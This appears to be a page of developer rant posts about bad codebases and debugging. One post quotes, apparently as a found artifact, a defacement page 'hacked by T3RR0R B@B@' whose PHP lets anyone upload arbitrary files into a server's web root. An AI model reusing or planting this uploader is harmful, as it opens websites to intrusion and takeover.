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This codebase reminds me of a large, rotting, barely-alive dromedary. Parts of it function quite well, but large swaths of it are necrotic, foul-smelling, and even rotted away. Were it healthy, it would still exude a terrible stench, and its temperament would easily match: If you managed to get near enough, it would spit and try to bite you.
Swaths of code are commented out -- entire classes simply don't exist anymore, and the ghosts of several-year-old methods still linger. Despite this, large and deprecated (yet uncommented) sections of the application depend on those undefined classes/methods. Navigating the codebase is akin to walking through a minefield: if you reference the wrong method on the wrong object... fatal exception. And being very new to this project, I have no idea what's live and what isn't.
The naming scheme doesn't help, either: it's impossible to know what's still functional without asking because nothing's marked. Instead, I've been working backwards from multiple points to try to find code paths between objects/events. I'm rarely successful.
Not only can I not tell what's live code and what's interactive death, the code itself is messy and awful. Don't get me wrong: it's solid. There's virtually no way to break it. But trying to understand it ... I feel like I'm looking at a huge, sprawling MC Escher landscape through a microscope. (No exaggeration: a magnifying glass would show a larger view that included paradoxes / dubious structures, and these are not readily apparent to me.)
It's also rife with bad practices. Terrible naming choices consisting of arbitrarily-placed acronyms, bad word choices, and simply inconsistent naming (hash vs hsh vs hs vs h). The indentation is a mix of spaces and tabs. There's magic numbers galore, and variable re-use -- not just local scope, but public methods on objects as well. I've also seen countless assignments within conditionals, and these are apparently intentional! The reasoning: to ensure the code only runs with non-falsey values. While that would indeed work, an early return/next is much clearer, and reduces indentation. It's just. reading through this makes me cringe or literally throw my hands up in frustration and exasperation.
Honestly though, I know why the code is so terrible, and I understand:
The architect/sole dev was new to coding -- I have 5-7 times his current experience -- and the project scope expanded significantly and extremely quickly, and also broke all of its foundation rules. Non-developers also dictated architecture, creating further mess. It's the stuff of nightmares. Looking at what he was able to accomplish, though, I'm impressed. Horrified at the details, but impressed with the whole.
This project is the epitome of "I wrote it quickly and just made it work."
Fortunately, he and I both agree that a rewrite is in order. but at 76k lines (without styling or configuration), it's quite the undertaking.
------
Amusing: after running the codebase through `wc`, it apparently sums to half the word count of "War and Peace"15 -
RSpec:
Undefined method 'agent_authorization=' for #<Periodic::Payment:0x000000C0FFEE>
Rails Console:
> Periodic::Payment.last.agent_authorization = "PPD"
=> "PPD"
> puts "Hmmm."
=> "Hmmm."11 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
OKAY WHAT THE FUCK JAVA.
At school we were assigned the task to do Huffman's algorithm. Since I am way ahead of all the others, I made a GUI for that. (Btw, we use BlueJ for Java, it's just painful)
Now... I made a JTextField to put the output, which would be any character from 0x0 to 0xFFFF, into it.
Apparently, there is a bug in the setText method, which throws random NullPointerExceptions right into your face if you give it those Unicode characters.
So I looked it up:
It was a Bug, in JDK 1.6.something, where putting a 0xFFFF together with a 0x10000 would cause this. Now you may think, do we still have 1.6? No, we have 1.8 v171, WHY THE FUCK DOES THIS SHIT GIVE ME A NPE?! THE WORST PART IS I CAN'T DO ANYTHING ABOUT IT!
AND IT HAS THE WORST UNDEFINED BEHAVIOR:
1. NPE, nothing else happens
2. The Text box just gets invisible, but the border stays visible + NPE
3. The box completely disappears + NPE
Try-catching it doesn't do anything, everytime I fill the box with text, one of those options happens, and the box was never to be seen again! NOT EVEN CREATING A NEW TEXT BOX AND ADDING IT TO MY WINDOW WORKS.6 -
Maybe not the worst but the worst one I can remember for sure and it happened recently. I may or may not have spent 4 hours with another developer working out why my script didn't work.. to realise that I had swapped the underscore in a method name for a period. No wonder everything came back undefined when I was dotting into a method that didn't exist 🤦🏻♀️ my only highlight was that the more experienced dev was there with me and he also couldn't find it for all that time lmao. I did briefly contemplate calling my University and asking them to just take my diploma back, I don't deserve it lmfao2
-
So im about to finish a mean stack bootcamp in 2 weeks. Im working on my final project and its nothing too fancy im just doing a simple inventory app (i have future plans for it to bundle it into an entire suite for a specific subset of retail). So i take my live coding exam and fork it (simple app with crud finished) and im trying to add an edit feature that populates tge fields with the prior data. Spent the whole of yesterday working on it from 12a-midnight. Just this one feature to bring previous values into an edit page. Seems simple enough. But it wasnt working right. So im looking all over posted on SO even got a friend of mine thats been programming for 20 years to help me and we cant figure out why it thinks a variable is undefined when it clearly has a value dorectly before the save method fires. (Console.logged that shit)
At about midnight i realize its because i needed to write a router.put in the api because i was just using the regular save originally :/
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